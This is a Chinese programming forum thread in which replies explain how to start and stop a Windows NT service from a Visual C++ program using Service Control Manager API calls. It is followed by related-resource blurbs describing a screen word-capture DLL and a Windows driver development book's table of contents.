在VC程序中如何启动停止NT服务?

howker 2000-03-27 03:21:00
我用VC写了一个服务，但只能用控制面板的服务管理器来控制，
请问如何在程序中控制该服务的启动和停止？
或者哪里有这方面的代码可供参考？谢谢！
...全文
121 4 打赏 收藏 转发到动态 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
jude 2000-03-30
  • 打赏
  • 举报
 回复
那是不是说要写一个服务，
还要另外写这个服务的控制程序。

可不可以把这两个合并做为一个程序？
Mimi_bear 2000-03-28
  • 打赏
  • 举报
 回复
步骤：
1.OpenSCManager
2.OpenService
3.用ContrlService函数向指定服务发控制代码（如启动、暂停、继续、停止等）
也可以发送用户定义控制码以完成用户特定功能。上述控制代码由服务端的控制请求处理函数负责响应处理。参见Win32API : RegisterServiceCtrlHandler
Daio 2000-03-27
  • 打赏
  • 举报
 回复
//Try the following codes to stop/start a service
SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE hService = ::OpenService(hSCM, "ServiceName", SERVICE_STOP );
SERVICE_STATUS status;
::ControlService(hService, SERVICE_CONTROL_STOP, &status);
::CloseServiceHandle(hService);
::CloseServiceHandle(hSCM);
//Replace the ControlService line with the following to start the service
StartService( hService,0, NULL);
//Wish it works !
//Good Lucks!
tianshu 2000-03-27
  • 打赏
  • 举报
 回复
1,OpenSCManager
2,OpenService
3,StartService
利用VC建立动态链接库进行屏幕取词
屏幕取词程序VC源码 nhw32.dll 主要引出两个函数： 1. DWORD WINAPI BL_SetFlag32(UINTnFlag, HWND hNotifyWnd, int MouseX, int MouseY) 功能: 启动或停止取词。 参数: nFlag [输入] 指定下列值之一： GETWORD_ENABLE: 开始取词。在重画被取单词区域前设置此标志。 nhw32.dll是通过 重画单词区域，截取TextOutA, TextOutW,ExtTextOutA, ExtTextOutW等Windows API函数的参数来取词的。 GETWORD_DISABLE: 停止取词。 hNotifyWnd [输入] 通知窗口句柄。当取到此时，向该通知窗口发送一登记消息： GWMSG_GETWORDOK。 MouseX [输入] 指定取词点的X坐标。 MouseY [输入] 指定取词点的Y坐标。 返回值： 可忽略。 2. DWORD WINAPI BL_GetText32(LPSTRlpszCurWord, int nBufferSize, LPRECT lpWordRect) 功能: 从内部缓冲区取出单词文本串。对英语文本，该函数最长取出一行内以 空格为界的三个英文单词串，遇空格，非英文字母及除‘-’外的标点符 号，则终止取词。对汉字文本，该函数最长取出一行汉字串，遇英语字 母，标点符号等非汉语字符，则终止取词。该函数不能同时取出英语和 汉语字符。 参数: lpszCurWord [输入] 目的缓冲区指针。 nBufferSize [输入] 目的缓冲区大小。 lpWordRect [输出] 指向 RECT 结构的指针。该结构定义了被取单词所在矩形区域。 返回值： 当前光标在全部词中的位置。 此外，WinNT/2000版nhw32.dll 还引出另两个函数： 1. BOOL WINAPI SetNHW32() 功能: Win NT/2000 环境下的初始化函数。一般在程序开始时，调用一次。 参数: 无。 返回值： 如果成功 TRUE ，失败 FALSE 。 2. BOOL WINAPI ResetNHW32() 功能: Win NT/2000 环境下的去初始化函数。一般在程序结束时调用。 参数: 无。 返回值： 如果成功 TRUE ，失败 FALSE
windows驱动开发技术详解-part2
这是书的光盘。共分为两个部分，这是第一部分。 本书由浅入深、循序渐进地介绍了Windows驱动程序的开发方法与调试技巧。本书共分23章，内容涵盖了 Windows操作系统的基本原理、NT驱动程序与WDM驱动程序的构造、驱动程序中的同步异步处理方法、驱 动程序中即插即用功能、驱动程序的各种调试技巧等。同时，还针对流行的PCI驱动程序、USB驱动程序 、虚拟串口驱动程序、摄像头驱动程序、SDIO驱动程序进行了详细的介绍，本书最大的特色在于每一节 的例子都是经过精挑细选的，具有很强的针对性。力求让读者通过亲自动手实验，掌握各类Windows驱动 程序的开发技巧，学习尽可能多的Windows底层知识。 　　本书适用于中、高级系统程序员，同时也可用做高校计算机专业操作系统实验课的补充教材。 原创经典，威盛一线工程师倾力打造。深入驱动核心，剖析操作系统底层运行机制，通过实例引导，快 速学习编译、安装、调试的方法。 　　从Windows最基本的两类驱动程序的编译、安装、调试入手讲解，非常容易上手，用实例详细讲解 PCI、USB、虚拟串口、虚拟摄像头、SDIO等驱动程序的开发，归纳了多种调试驱动程序的高级技巧，如 用WinDBG和VMWARE软件对驱动进行源码级调试，深入Windows操作系统的底层和内核，透析Windows驱动 开发的本质。 本书是作者结合教学和科研实践经验编写而成的，不仅详细介绍了Windows内核原理，而且介绍了编程技 巧和应用实例，兼顾了在校研究生和工程技术人员的实际需求，对教学、生产和科研有现实的指导意义 ，是一本值得推荐的专著。 　　　　　　　　　　　　　——中国工程院院士 　　院士推荐 　　目前，电子系统设计广泛采用通用操作系统，达到降低系统的设计难度和缩短研发周期。实现操作 系统与硬件快速信息交换是电子系统设计的关键。 　　通用操作系统硬件驱动程序的开发，编写者不仅需要精通硬件设备、计算机总线，而且需要Windows 操作系统知识以及调试技巧。学习和掌握Windows硬件驱动程序的开发是电子系统设计人员必备的能力。 　　本书是作者结合教学和科研实践经验编写而成的，不仅详细介绍了Windows内核原理，并且介绍了编 程技巧和应用实例，兼顾了在校研究生和工程技术人员的实际需求，对教学、生产和科研有现实的指导 意义，是一本值得推荐的专著。 第1篇 入门篇 第1章 从两个最简单的驱动谈起 本章向读者呈现两个最简单的Windows驱动程序，一个是NT式的驱动程序，另一个是WDM式的驱动程序。 这两个驱动程序没有操作具体的硬件设备，只是在系统里创建了虚拟设备。在随后的章节中，它们会作 为基本驱动程序框架，被本书其他章节的驱动程序开发所复用。笔者将带领读者编写代码、编译、安装 和调试程序。 　　1.1 DDK的安装 　　1.2 第一个驱动程序HelloDDK的代码分析 　　　1.2.1 HelloDDK的头文件 　　　1.2.2 HelloDDK的入口函数 　　　1.2.3 创建设备例程 　　　1.2.4 卸载驱动例程 　　　1.2.5 默认派遣例程 　　1.3 HelloDDK的编译和安装 　　　1.3.1 用DDK环境编译HelloDDK 　　　1.3.2 用VC集成开发环境编译HelloDDK 　　　1.3.3 HelloDDK的安装 　　1.4 第二个驱动程序HelloWDM的代码分析 　　　1.4.1 HelloWDM的头文件 　　　1.4.2 HelloWDM的入口函数 　　　1.4.3 HelloWDM的AddDevice例程 　　　1.4.4 HelloWDM处理PNP的回调函数 　　　1.4.5 HelloWDM对PNP的默认处理 　　　1.4.6 HelloWDM对IRP_MN_REMOVE_DEVICE的处理 　　　1.4.7 HelloWDM对其他IRP的回调函数 　　　1.4.8 HelloWDM的卸载例程 　　1.5 HelloWDM的编译和安装 　　　1.5.1 用DDK编译环境编译HelloWDM 　　　1.5.2 HelloWDM的编译过程 　　　1.5.3 安装HelloWDM 　　1.6 小结 　第2章 Windows操作驱动的基本概念 　驱动程序被操作系统加载在内核模式下，它与Windows操作系统内核的其他组件进行密切交互。本章主 要介绍Windows操作系统内核的基本概念，同时还介绍应用程序和驱动程序之间的通信方法。 　　2.1 Windows操作系统概述 　　　2.1.1 Windows家族 　　　2.1.2 Windows特性 　　　2.1.3 用户模式和内核模式 　　　
Windows驱动开发技术详解的光盘-part1
这是书的光盘。共分为两部分，这是第二部分。 本书由浅入深、循序渐进地介绍了Windows驱动程序的开发方法与调试技巧。本书共分23章，内容涵盖了Windows操作系统的基本原理、NT驱动程序与WDM驱动程序的构造、驱动程序中的同步异步处理方法、驱动程序中即插即用功能、驱动程序的各种调试技巧等。同时，还针对流行的PCI驱动程序、USB驱动程序、虚拟串口驱动程序、摄像头驱动程序、SDIO驱动程序进行了详细的介绍，本书最大的特色在于每一节的例子都是经过精挑细选的，具有很强的针对性。力求让读者通过亲自动手实验，掌握各类Windows驱动程序的开发技巧，学习尽可能多的Windows底层知识。 　　本书适用于中、高级系统程序员，同时也可用做高校计算机专业操作系统实验课的补充教材。 原创经典，威盛一线工程师倾力打造。深入驱动核心，剖析操作系统底层运行机制，通过实例引导，快速学习编译、安装、调试的方法。 　　从Windows最基本的两类驱动程序的编译、安装、调试入手讲解，非常容易上手，用实例详细讲解PCI、USB、虚拟串口、虚拟摄像头、SDIO等驱动程序的开发，归纳了多种调试驱动程序的高级技巧，如用WinDBG和VMWARE软件对驱动进行源码级调试，深入Windows操作系统的底层和内核，透析Windows驱动开发的本质。 本书是作者结合教学和科研实践经验编写而成的，不仅详细介绍了Windows内核原理，而且介绍了编程技巧和应用实例，兼顾了在校研究生和工程技术人员的实际需求，对教学、生产和科研有现实的指导意义，是一本值得推荐的专著。 　　　　　　　　　　　　　——中国工程院院士 　　院士推荐 　　目前，电子系统设计广泛采用通用操作系统，达到降低系统的设计难度和缩短研发周期。实现操作系统与硬件快速信息交换是电子系统设计的关键。 　　通用操作系统硬件驱动程序的开发，编写者不仅需要精通硬件设备、计算机总线，而且需要Windows操作系统知识以及调试技巧。学习和掌握Windows硬件驱动程序的开发是电子系统设计人员必备的能力。 　　本书是作者结合教学和科研实践经验编写而成的，不仅详细介绍了Windows内核原理，并且介绍了编程技巧和应用实例，兼顾了在校研究生和工程技术人员的实际需求，对教学、生产和科研有现实的指导意义，是一本值得推荐的专著。 第1篇 入门篇 第1章 从两个最简单的驱动谈起 本章向读者呈现两个最简单的Windows驱动程序，一个是NT式的驱动程序，另一个是WDM式的驱动程序。这两个驱动程序没有操作具体的硬件设备，只是在系统里创建了虚拟设备。在随后的章节中，它们会作为基本驱动程序框架，被本书其他章节的驱动程序开发所复用。笔者将带领读者编写代码、编译、安装和调试程序。 　　1.1 DDK的安装 　　1.2 第一个驱动程序HelloDDK的代码分析 　　　1.2.1 HelloDDK的头文件 　　　1.2.2 HelloDDK的入口函数 　　　1.2.3 创建设备例程 　　　1.2.4 卸载驱动例程 　　　1.2.5 默认派遣例程 　　1.3 HelloDDK的编译和安装 　　　1.3.1 用DDK环境编译HelloDDK 　　　1.3.2 用VC集成开发环境编译HelloDDK 　　　1.3.3 HelloDDK的安装 　　1.4 第二个驱动程序HelloWDM的代码分析 　　　1.4.1 HelloWDM的头文件 　　　1.4.2 HelloWDM的入口函数 　　　1.4.3 HelloWDM的AddDevice例程 　　　1.4.4 HelloWDM处理PNP的回调函数 　　　1.4.5 HelloWDM对PNP的默认处理 　　　1.4.6 HelloWDM对IRP_MN_REMOVE_DEVICE的处理 　　　1.4.7 HelloWDM对其他IRP的回调函数 　　　1.4.8 HelloWDM的卸载例程 　　1.5 HelloWDM的编译和安装 　　　1.5.1 用DDK编译环境编译HelloWDM 　　　1.5.2 HelloWDM的编译过程 　　　1.5.3 安装HelloWDM 　　1.6 小结 　第2章 Windows操作驱动的基本概念 　驱动程序被操作系统加载在内核模式下，它与Windows操作系统内核的其他组件进行密切交互。本章主要介绍Windows操作系统内核的基本概念，同时还介绍应用程序和驱动程序之间的通信方法。 　　2.1 Windows操作系统概述 　　　2.1.1 Windows家族 　　　2.1.2 Windows特性 　　　2.1.3 用户模式和内核模式 　　　2.1.4 操作系统与应用程序 　　2.2 操作系统分层 　　　2.2.1 Windows操作系统总体架构 　　　2.2.2 应用程序与Win32子系统 　　　2.2.3 其他环境子系统 　　　2.2.4 Native API 　　　2.2.5 系统服务 　　　2.2.6 执行程序组件 　　　2.2.7 驱动程序 　　　2.2.8 内核 　　　2.2.9 硬件抽象层 　　　2.2.10 Windows与微内核 　　2.3 从应用程序到驱动程序 　　2.4 小结 　第3章 Windows驱动编译环境配置、安装及调试 　本章将带领读者一步步对驱动程序进行编译、安装和简单的调试工作。这些步骤虽然简单，但往往困惑着初次接触驱动程序的开发者。 　3.1 用C语言还是用C++语言 　　　3.1.1 调用约定 　　　3.1.2 函数的导出名 　　　3.1.3 运行时函数的调用 　　3.2 用DDK编译环境编译驱动程序 　　　3.2.1 编译版本 　　　3.2.2 nmake工具 　　　3.2.3 build工具 　　　3.2.4 makefile文件 　　　3.2.5 dirs文件 　　　3.2.6 sources文件 　　　3.2.7 makefile.inc文件 　　　3.2.8 build工具的环境变量 　　　3.2.9 build工具的命令行参数 　　3.3 用VC编译驱动程序 　　　3.3.1 建立驱动程序工程 　　　3.3.2 修改编译选项 　　　3.3.3 修改链接选项 　　　3.3.4 其他修改 　　　3.3.5 VC编译小结 　　3.4 查看调试信息 　　　3.4.1 打印调试语句 　　　3.4.2 查看调试语句 　　3.5 手动加载NT式驱动 　　3.6 编写程序加载NT式驱动 　　　3.6.1 SCM组件和Windows服务 　　　3.6.2 加载NT驱动的代码 　　　3.6.3 卸载NT驱动的代码 　　　3.6.4 实验 　　3.7 WDM式驱动的加载 　　　3.7.1 WDM的手动安装 　　　3.7.2 简单的INF文件剖析 　　3.8 WDM设备安装在注册表中的变化 　　　3.8.1 硬件子键 　　　3.8.2 类子键 　　　3.8.3 服务子键 　　3.9 小结 　第4章 驱动程序的基本结构 　本章首先对Windows驱动程序的两个重要数据结构进行介绍，分别是驱动对象和设备对象数据结构。另外还要介绍NT驱动程序和WDM驱动程序的入口函数、卸载例程、各种IRP派遣上函数等。 　　4.1 Windows驱动程序中重要的数据结构 　　　4.1.1 驱动对象（DRIVER_OBJECT） 　　　4.1.2 设备对象（DEVICE_OBJECT） 　　　4.1.3 设备扩展 　　4.2 NT式驱动的基本结构 　　　4.2.1 驱动加载过程与驱动入口函数（DriverEntry） 　　　4.2.2 创建设备对象 　　　4.2.3 DriverUnload例程 　　　4.2.4 用WinObj观察驱动对象和设备对象 　　　4.2.5 用DeviceTree观察驱动对象和设备对象 　　4.3 WDM式驱动的基本结构 　　　4.3.1 物理设备对象与功能设备对象 　　　4.3.2 WDM驱动的入口程序 　　　4.3.3 WDM驱动的AddDevice例程 　　　4.3.4 DriverUnload例程 　　　4.3.5 对IRP_MN_REMOVE_DEVICE IRP的处理 　　　4.3.6 用Device Tree查看WDM设备对象栈 　　4.4 设备的层次结构 　　　4.4.1 驱动程序的垂直层次结构 　　　4.4.2 驱动程序的水平层次结构 　　　4.4.3 驱动程序的复杂层次结构 　　4.5 实验 　　　4.5.1 改写HelloDDK查看驱动结构 　　　4.5.2 改写HelloWDM查看驱动结构 　　4.6 小结 　第5章 Windows内存管理 　　本章围绕着驱动程序中的内存操作进行了介绍。在驱动程序开发中，首先要注意分页内存和非分页内存的使用。同时，还需要区分物理内存地址和虚拟内存地址这两个概念。 　　5.1 内存管理概念 　　　5.1.1 物理内存概念（Physical Memory Address） 　　　5.1.2 虚拟内存地址概念（Virtual Memory Address） 　　　5.1.3 用户模式地址和内核模式地址 　　　5.1.4 Windows驱动程序和进程的关系 　　　5.1.5 分页与非分页内存 　　　5.1.6 分配内核内存 　　5.2 在驱动中使用链表 　　　5.2.1 链表结构 　　　5.2.2 链表初始化 　　　5.2.3 从首部插入链表 　　　5.2.4 从尾部插入链表 　　　5.2.5 从链表删除 　　　5.2.6 实验 　　5.3 Lookaside结构 　　　5.3.1 频繁申请内存的弊端 　　　5.3.2 使用Lookaside 　　　5.3.3 实验 　　5.4 运行时函数 　　　5.4.1 内存间复制（非重叠） 　　　5.4.2 内存间复制（可重叠） 　　　5.4.3 填充内存 　　　5.4.4 内存比较 　　　5.4.5 关于运行时函数使用的注意事项 　　　5.4.6 实验 　　5.5 使用C++特性分配内存 　　5.6 其他 　　　5.6.1 数据类型 　　　5.6.2 返回状态值 　　　5.6.3 检查内存可用性 　　　5.6.4 结构化异常处理（try-except块） 　　　5.6.5 结构化异常处理（try-finally块） 　　　5.6.6 使用宏需要注意的地方 　　　5.6.7 断言 　　5.7 小结 第6章 Windows内核函数 　本章介绍了Windows内核模式下的一些常用内核函数，这些函数在驱动程序的开发中将会经常用到。 　　6.1 内核模式下的字符串操作 　　　6.1.1 ASCII字符串和宽字符串 　　　6.1.2 ANSI_STRING字符串与UNICODE_STRING字符串 　　　6.1.3 字符初始化与销毁 　　　6.1.4 字符串复制 　　　6.1.5 字符串比较 　　　6.1.6 字符串转化成大写 　　　6.1.7 字符串与整型数字相互转换 　　　6.1.8 ANSI_STRING字符串与UNICODE_STRING字符串相互转换 　　6.2 内核模式下的文件操作 　　　6.2.1 文件的创建 　　　6.2.2 文件的打开 　　　6.2.3 获取或修改文件属性 　　　6.2.4 文件的写操作 　　　6.2.5 文件的读操作 　　6.3 内核模式下的注册表操作 　　　6.3.1 创建关闭注册表 　　　6.3.2 打开注册表 　　　6.3.3 添加、修改注册表键值 　　　6.3.4 查询注册表 　　　6.3.5 枚举子项 　　　6.3.6 枚举子键 　　　6.3.7 删除子项 　　　6.3.8 其他 　　6.4 小结 　第7章 派遣函数 　　本章重点介绍了驱动程序中的处理IRP请求的派遣函数。所有对设备的操作最终将转化为IRP请求，这些IRP请求会被传送到派遣函数处理。 　　7.1 IRP与派遣函数 　　　7.1.1 IRP 　　　7.1.2 IRP类型 　　　7.1.3 对派遣函数的简单处理 　　　7.1.4 通过设备链接打开设备 　　　7.1.5 编写一个更通用的派遣函数 　　　7.1.6 跟踪IRP的利器IRPTrace 　　7.2 缓冲区方式读写操作 　　　7.2.1 缓冲区设备 　　　7.2.2 缓冲区设备读写 　　　7.2.3 缓冲区设备模拟文件读写 　　7.3 直接方式读写操作 　　　7.3.1 直接读取设备 　　　7.3.2 直接读取设备的读写 　　7.4 其他方式读写操作 　　　7.4.1 其他方式设备 　　　7.4.2 其他方式读写 　　7.5 IO设备控制操作 　　　7.5.1 DeviceIoControl与驱动交互 　　　7.5.2 缓冲内存模式IOCTL 　　　7.5.3 直接内存模式IOCTL 　　　7.5.4 其他内存模式IOCTL 　　7.6 小结 第2篇 进阶篇 　第8章 驱动程序的同步处理 　本章介绍了驱动程序中常用的同步处理办法，并且将内核模式下的同步处理方法和用户模式下的同步处理方法做了比较。另外，本章还介绍了中断请求级、自旋锁等同步处理机制。 　　8.1 基本概念 　　　8.1.1 问题的引出 　　　8.1.2 同步与异步 　　8.2 中断请求级 　　　8.2.1 中断请求（IRQ）与可编程中断控制器（PIC） 　　　8.2.2 高级可编程控制器（APIC） 　　　8.2.3 中断请求级（IRQL） 　　　8.2.4 线程调度与线程优先级 　　　8.2.5 IRQL的变化 　　　8.2.6 IRQL与内存分页 　　　8.2.7 控制IRQL提升与降低 　　8.3 自旋锁 　　　8.3.1 原理 　　　8.3.2 使用方法 　　8.4 用户模式下的同步对象 　　　8.4.1 用户模式的等待 　　　8.4.2 用户模式开启多线程 　　　8.4.3 用户模式的事件 　　　8.4.4 用户模式的信号灯 　　　8.4.5 用户模式的互斥体 　　　8.4.6 等待线程完成 　　8.5 内核模式下的同步对象 　　　8.5.1 内核模式下的等待 　　　8.5.2 内核模式下开启多线程 　　　8.5.3 内核模式下的事件对象 　　　8.5.4 驱动程序与应用程序交互事件对象 　　　8.5.5 驱动程序与驱动程序交互事件对象 　　　8.5.6 内核模式下的信号灯 　　　8.5.7 内核模式下的互斥体 　　　8.5.8 快速互斥体 　　8.6 其他同步方法 　　　8.6.1 使用自旋锁进行同步 　　　8.6.2 使用互锁操作进行同步 　　　8.7 小结 　第9章 IRP的同步 　本章详细地介绍了IRP的同步处理方法和异步处理方法。另外，本章还介绍了StartIO例程、中断服务例程、DPC服务例程。 　　9.1 应用程序对设备的同步异步操作 　　　9.1.1 同步操作与异步操作原理 　　　9.1.2 同步操作设备 　　　9.1.3 异步操作设备（方式一） 　　　9.1.4 异步操作设备（方式二） 　　9.2 IRP的同步完成与异步完成 　　　9.2.1 IRP的同步完成 　　　9.2.2 IRP的异步完成 　　　9.2.3 取消IRP 　　9.3 StartIO例程 　　　9.3.1 并行执行与串行执行 　　　9.3.2 StartIO例程 　　　9.3.3 示例 　　9.4 自定义的StartIO 　　　9.4.1 多个串行化队列 　　　9.4.2 示例 　　9.5 中断服务例程 　　　9.5.1 中断操作的必要性 　　　9.5.2 中断优先级 　　　9.5.3 中断服务例程（ISR） 　　9.6 DPC例程 　　　9.6.1 延迟过程调用例程（DPC） 　　　9.6.2 DpcForISR 　　9.7 小结 　第10章 定时器 　本章总结了在内核模式下的四种等待方法，读者可以利用这些方法灵活地用在自己的驱动程序中。最后本章还介绍了如何对IRP的超时情况进行处理。 　　10.1 定时器实现方式一 　　　10.1.1 I/O定时器 　　　10.1.2 示例代码 　　10.2 定时器实现方式二 　　　10.2.1 DPC定时器 　　　10.2.2 示例代码 　　10.3 等待 　　　10.3.1 第一种方法：使用KeWaitForSingleObject 　　　10.3.2 第二种方法：使用KeDelayExecutionThread 　　　10.3.3 第三种方法：使用KeStallExecutionProcessor 　　　10.3.4 第四种方法：使用定时器 　　10.4 时间相关的其他内核函数 　　　10.4.1 时间相关函数 　　　10.4.2 示例代码 　　10.5 IRP的超时处理 　　　10.5.1 原理 　　　10.5.2 示例代码 　　10.6 小结 　第11章 驱动程序调用驱动程序 本章主要介绍了如何在驱动程序中调用其他驱动程序。比较简单的方法是将被调用的驱动程序以文件的方式操作。比较高级的方法是构造各种IRP，并将这些IRP传送到被调用的驱动程序中。 　　11.1 以文件句柄形式调用其他驱动程序 　　　11.1.1 准备一个标准驱动 　　　11.1.2 获得设备句柄 　　　11.1.3 同步调用 　　　11.1.4 异步调用方法一 　　　11.1.5 异步调用方法二 　　　11.1.6 通过符号链接打开设备 　　11.2 通过设备指针调用其他驱动程序 　　　11.2.1 用IoGetDeviceObjectPointer获得设备指针 　　　11.2.2 创建IRP传递给驱动的派遣函数 　　　11.2.3 用IoBuildSynchronousFsdRequest创建IRP 　　　11.2.4 用IoBuildAsynchronousFsdRequest创建IRP 　　　11.2.5 用IoAllocateIrp创建IRP 　　11.3 其他方法获得设备指针 　　　11.3.1 用ObReferenceObjectByName获得设备指针 　　　11.3.2 剖析IoGetDeviceObjectPointer 　　　11.4 小结 　第12章 分层驱动程序 　　本章主要介绍了分层驱动的概念。分层驱动可以将功能复杂的驱动程序分解为多个功能简单的驱动程序。多个分层的驱动程序形成一个设备堆栈，IRP请求首先发送到设备堆栈的顶层，然后依次穿越每层的设备堆栈，最终完成IRP请求。 　　12.1 分层驱动程序概念 　　　12.1.1 分层驱动程序的概念 　　　12.1.2 设备堆栈与挂载 　　　12.1.3 I/O堆栈 　　　12.1.4 向下转发IRP 　　　12.1.5 挂载设备对象示例 　　　12.1.6 转发IRP示例 　　　12.1.7 分析 　　　12.1.8 遍历设备栈 　　12.2 完成例程 　　　12.2.1 完成例程概念 　　　12.2.2 传播Pending位 　　　12.2.3 完成例程返回STATUS_SUCCESS 　　　12.2.4 完成例程返回STATUS_MORE_PROCESSING_REQUIRED 　　12.3 将IRP分解成多个IRP 　　　12.3.1 原理 　　　12.3.2 准备底层驱动 　　　12.3.3 读派遣函数 　　　12.3.4 完成例程 　　　12.3.5 分析 　　12.4 WDM驱动程序架构 　　　12.4.1 WDM与分层驱动程序 　　　12.4.2 WDM的加载方式 　　　12.4.3 功能设备对象 　　　12.4.4 物理设备对象 　　　12.4.5 物理设备对象与即插即用 　　12.5 小结 　第13章 让设备实现即插即用 　本章首先介绍即插即用的概念和驱动程序支持即插即用功能的必要性。另外，本章还介绍如何利用WDM驱动程序开发框架设计支持即插即用功能的驱动程序。 　　13.1 即插即用概念 　　　13.1.1 历史原因 　　　13.1.2 即插即用的目标 　　　13.1.3 Windows中即插即用相关组件 　　　13.1.4 遗留驱动程序 　　13.2 即插即用IRP 　　　13.2.1 即插即用IRP的功能代码 　　　13.2.2 处理即插即用IRP的派遣函数 　　13.3 通过设备接口寻找设备 　　　13.3.1 设备接口 　　　13.3.2 WDM驱动中设置接口 　　　13.3.3 应用程序寻找接口 　　　13.3.4 查看接口设备 　　13.4 启动和停止设备 　　　13.4.1 为一个实际硬件安装HelloWDM 　　　13.4.2 启动设备 　　　13.4.3 转发并等待 　　　13.4.4 获得设备相关资源 　　　13.4.5 枚举设备资源 　　　13.4.6 停止设备 　　13.5 即插即用的状态转换 　　　13.5.1 状态转换图 　　　13.5.2 IRP_MN_QUERY_STOP_DEVICE 　　　13.5.3 IRP_MN_QUERY_REMOVE_DEVICE 　　13.6 其他即插即用IRP 　　　13.6.1 IRP_MN_FILTER_RESOURCE_REQUIREMENTS 　　　13.6.2 IRP_MN_QUERY_CAPABILITIES 　　13.7 小结 　第14章 电源管理 　本章主要介绍了如何在WDM驱动程序中进行电源处理。电源处理主要是处理好电源状态和设备状态。 　　14.1 WDM电源管理模型 　　　14.1.1 概述 　　　14.1.2 热插拔 　　　14.1.3 电源状态 　　　14.1.4 设备状态 　　　14.1.5 状态转换 　　14.2 处理IRP_MJ_POWER 　　14.3 处理IRP_MN_QUERY_CAPABILITIES 　　　14.3.1 DEVICE_CAPABILITIES 　　　14.3.2 一个试验 　　14.4 小结 第3篇 实用篇 　第15章 I/O端口操作 　本章总结了多种I/O端口操作的方法。这些方法本质上是一样的，都是将端口输入输出的汇编指令运行在内核模式中。 　　15.1 概述 　　　15.1.1 从DOS说起 　　　15.1.2 汇编实现 　　　15.1.3 DDK实现 　　15.2 工具软件WinIO 　　　15.2.1 WinIO简介 　　　15.2.2 使用方法 　　15.3 端口操作实现方法一 　　　15.3.1 驱动端程序 　　　15.3.2 应用程序端程序 　　15.4 端口操作实现方法二 　　　15.4.1 驱动端程序 　　　15.4.2 应用程序端程序 　　15.5 端口操作实现方法三 　　　15.5.1 驱动端程序 　　　15.5.2 应用程序端程序 　　15.6 端口操作实现方法四 　　　15.6.1 原理 　　　15.6.2 驱动端程序 　　　15.6.3 应用程序端程序 　　15.7 驱动PC喇叭 　　　15.7.1 可编程定时器 　　　15.7.2 PC喇叭 　　　15.7.3 操作代码 　　15.8 操作并口设备 　　　15.8.1 并口设备简介 　　　15.8.2 并口寄存器 　　　15.8.3 并口设备操作 　　15.9 小结 第16章 PCI设备驱动 本章主要介绍PCI设备的驱动开发。首先介绍了PCI总线协议。作为驱动程序员，开发PCI驱动程序首先要了解PCI配置空间。根据读取PCI配置空间，可以得到PCI设备的所有资源。另外，本章还总结了四种获取PCI配置空间的方法。 　　16.1 PCI总线协议 　　　16.1.1 PCI总线简介 　　　16.1.2 PCI配置空间简介 　　16.2 访问PCI配置空间方法一 　　　16.2.1 两个重要寄存器 　　　16.2.2 示例 　　16.3 访问PCI配置空间方法二 　　　16.3.1 DDK函数读取配置空间 　　　16.3.2 示例 　　16.4 访问PCI配置空间方法三 　　　16.4.1 通过即插即用IRP获得PCI配置空间 　　　16.4.2 示例 　　16.5 访问PCI配置空间方法四 　　　16.5.1 创建IRP_MN_READ_CONFIG 　　　16.5.2 示例 　　16.6 PCI设备驱动开发示例 　　　16.6.1 开发步骤 　　　16.6.2 中断操作 　　　16.6.3 操作设备物理内存 　　　16.6.4 示例 　　16.7 小结 第17章 USB设备驱动 　本章首先介绍了USB总线协议的基本框架，其中包括USB总线的拓扑结构，USB通信的流程，还有USB的四种传输模式。另外，本章介绍了如何编写USB总线设备的驱动程序。 　　17.1 USB总线协议 　　　17.1.1 USB设备简介 　　　17.1.2 USB连接拓扑结构 　　　17.1.3 USB通信的流程 　　　17.1.4 USB四种传输模式 　　17.2 Windows下的USB驱动 　　　17.2.1 观察USB设备的工具 　　　17.2.2 USB设备请求 　　　17.2.3 设备描述符 　　　17.2.4 配置描述符 　　　17.2.5 接口描述符 　　　17.2.6 端点描述符 　　17.3 USB驱动开发实例 　　　17.3.1 功能驱动与物理总线驱动 　　　17.3.2 构造USB请求包 　　　17.3.3 发送USB请求包 　　　17.3.4 USB设备初始化 　　　17.3.5 USB设备的插拔 　　　17.3.6 USB设备的读写 　　17.4 小结 　第18章 SDIO设备驱动 本章首先介绍了SDIO协议，讲述了SD内存卡和SDIO卡的兼容问题。然后介绍了SDIO协议中的发送命令、回应命令、传送数据等相关协议。随后，本章又介绍了Windows中，DDK提供的对SDIO卡设备的支持。然后介绍了如何利用总线驱动，使SDIO设备初始化，接收中断，发送和接收数据等操作。 　　18.1 SDIO协议 　　　18.1.1 SD内存卡概念 　　　18.1.2 SDIO卡概念 　　　18.1.3 SDIO总线 　　　18.1.4 SDIO令牌 　　　18.1.5 SDIO令牌格式 　　　18.1.6 SDIO的寄存器 　　　18.1.7 CMD52命令 　　　18.1.8 CMD53命令 　　18.2 SDIO卡驱动开发框架 　　　18.2.1 SDIO Host Controller驱动 　　　18.2.2 SDIO卡的初始化 　　　18.2.3 中断回调函数 　　　18.2.4 获得和设置属性 　　　18.2.5 CMD52 　　　18.2.6 CMD53 　　18.3 SDIO开发实例 　　18.4 小结 　第19章 虚拟串口设备驱动 　本章介绍了串口开发的框架模型，在串口的AddDevice例程中需要暴露出一个串口的符号连接，另外在相应的注册表中需要进行设置。在串口与应用程序的通信中，主要是一组DDK定义的IO控制码，这些IO控制码负责由应用程序向驱动发出请求。 　　19.1 串口简介 　　19.2 DDK串口开发框架 　　　19.2.1 串口驱动的入口函数 　　　19.2.2 应用程序与串口驱动的通信 　　　19.2.3 写的实现 　　　19.2.4 读的实现 　　19.3 小结 　第20章 摄像头设备驱动程序 　本章主要介绍了微软提供的摄像头驱动框架。在该框架中，微软提供了类驱动和小驱动的概念。对于驱动程序员的任务就是编写小驱动程序。 　　20.1 WDM摄像头驱动框架 　　　20.1.1 类驱动与小驱动 　　　20.1.2 摄像头的类驱动与小驱动 　　　20.1.3 编写小驱动程序 　　　20.1.4 小驱动的流控制 　　20.2 虚拟摄像头开发实例 　　　20.2.1 编译和安装 　　　20.2.2 虚拟摄像头入口函数 　　　20.2.3 对STREAM_REQUEST_BLOCK的处理函数 　　　20.2.4 打开视频流 　　　20.2.5 对视频流的读取 　　20.3 小结 第4篇 提高篇 　第21章 再论IRP 　本章将相关IRP的操作做了进一步的总结。首先是转发IRP，归纳了几种不同的方式。其次总结了创建IRP的几种不同方法。创建IRP总的来说分为创建同步IRP和创建异步IRP。对于创建同步IRP，操作比较简单，I/O管理器会负责回收IRP的相关内存，但是使用不够灵活。对于创建异步IRP，操作比较复杂，程序员需要自己负责对IRP及相关内存回收，但使用十分灵活。 　　21.1 转发IRP 　　　21.1.1 直接转发 　　　